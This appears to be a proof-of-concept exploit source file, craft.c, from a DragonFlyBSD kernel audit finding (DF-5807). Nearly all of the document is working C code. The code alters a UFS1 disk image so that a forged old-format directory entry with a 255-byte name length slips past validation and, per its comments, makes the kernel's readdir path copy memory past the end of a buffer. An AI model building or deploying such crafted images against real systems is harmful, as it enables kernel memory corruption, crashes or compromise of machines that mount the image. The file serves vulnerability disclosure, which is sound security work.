⬢ DragonFlyBSD Kernel Audit
DF-5807 / craft.c
← back to finding ↓ download raw
/*
 * DF-5807 crafting tool: turn a fresh UFS1 image into an "old format"
 * (OFSFMT) image with a crafted root directory block whose last dirent
 * claims a 16-bit d_namlen of 0x00FF in an 8-byte record at the very end
 * of the block.  ufs_readdir()'s OFSFMT branch passes that (unvalidated)
 * length to vop_write_dirent(), which bcopy()s 255 bytes starting exactly
 * at the end of the buffer-cache buffer.
 *
 * build: cc -O2 -I/usr/src/sys -I/usr/src/sys/vfs/ufs -o craft craft.c
 * usage: craft <image>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/param.h>
#include "ufs_types.h"
#include "fs.h"
#include "dinode.h"

#define DEV_BSIZE_ 512
#define PROBE_SB_OFF 8192	/* UFS1 superblock */

static void wr(int fd, off_t off, const void *buf, size_t n)
{
	if (pwrite(fd, buf, n, off) != (ssize_t)n) {
		perror("pwrite");
		exit(1);
	}
}

int main(int argc, char **argv)
{
	int fd;
	char *sb;
	struct fs *fs;
	struct ufs1_dinode di;
	uint64_t ino_off, blk_off;
	uint32_t ino = 2;
	uint8_t *blk;
	uint16_t rec;
	int bsize;
	char sbbuf[PROBE_SB_OFF + 4096];

	if (argc < 2) {
		fprintf(stderr, "usage: %s <image>\n", argv[0]);
		return 1;
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	if (pread(fd, sbbuf + PROBE_SB_OFF, 2048, PROBE_SB_OFF) != 2048) {
		perror("pread sb"); return 1;
	}
	sb = sbbuf + PROBE_SB_OFF;
	fs = (struct fs *)sb;
	printf("magic=%08x (UFS1=%08x)\n", fs->fs_magic, FS_MAGIC);
	if (fs->fs_magic != FS_MAGIC) {
		fprintf(stderr, "not UFS1\n"); return 1;
	}
	printf("bsize=%d fsize=%d fpg=%u ipg=%d cgsize=%d "
	       "cgoffset=%d cpg=%d sblkno=%d\n",
	       fs->fs_bsize, fs->fs_fsize, fs->fs_fpg, fs->fs_ipg,
	       fs->fs_cgsize, fs->fs_cgoffset, fs->fs_cpg,
	       fs->fs_sblkno);
	printf("maxsymlinklen=%d\n", fs->fs_maxsymlinklen);

	/* 1) force "old format" semantics */
	fs->fs_maxsymlinklen = 0;
	wr(fd, PROBE_SB_OFF, sb, 2048);

	/* 2) root inode (ino 2) */
	ino_off = (uint64_t)fsbtodb(fs, ino_to_fsba(fs, ino)) * DEV_BSIZE_ +
		  ino_to_fsbo(fs, ino) * sizeof(struct ufs1_dinode);
	printf("ino2 off=%llu\n", (unsigned long long)ino_off);
	if (pread(fd, &di, sizeof(di), ino_off) != sizeof(di)) {
		perror("pread ino"); return 1;
	}
	printf("root: size=%llu nlink=%d db[0]=%u\n",
	       (unsigned long long)di.di_size, di.di_nlink,
	       (unsigned)di.di_db[0]);
	bsize = fs->fs_bsize;
	if (di.di_size < (uint64_t)bsize) {
		di.di_size = bsize;
		wr(fd, ino_off, &di, sizeof(di));
		printf("root: size bumped to %d\n", bsize);
	}
	blk_off = (uint64_t)fsbtodb(fs, di.di_db[0]) * DEV_BSIZE_;
	printf("root dir block off=%llu\n", (unsigned long long)blk_off);

	/* 3) craft the directory block */
	blk = malloc(bsize);
	memset(blk, 0xAA, bsize);
	/* record 0: covers everything except the last 8 bytes */
	memcpy(blk + 0, &(uint32_t){2}, 4);
	rec = bsize - 8;
	memcpy(blk + 4, &rec, 2);
	/* bytes 6..7 = old-format 16-bit d_namlen = 0x0000 */
	blk[6] = 0x00; blk[7] = 0x00;
	/* record 1 (last): reclen=8, old-format namlen=0x00FF
	 * LE -> byte6=0xFF (dp->d_type), byte7=0x00 (dp->d_namlen)
	 * validation checks dp->d_namlen (=0): passes trivially
	 * OFSFMT call passes dp->d_type (=0xFF=255) as the length
	 */
	memcpy(blk + bsize - 8, &(uint32_t){2}, 4);
	rec = 8;
	memcpy(blk + bsize - 4, &rec, 2);
	blk[bsize - 2] = 0xFF;	/* byte 6 of record = LSB of namlen */
	blk[bsize - 1] = 0x00;	/* byte 7 of record = MSB of namlen */
	wr(fd, blk_off, blk, bsize);
	printf("crafted: rec0@0 reclen=%d namlen=0, rec1@%d reclen=8 "
	       "namlen16=0x00FF\n", bsize - 8, bsize - 8);
	{
		uint8_t v[16];
		if (pread(fd, v, 16, blk_off + bsize - 16) != 16) {
			perror("verify pread"); return 1;
		}
		printf("verify tail: ");
		for (int k = 0; k < 16; k++)
			printf("%02x ", v[k]);
		printf("\n");
	}
	close(fd);
	return 0;
}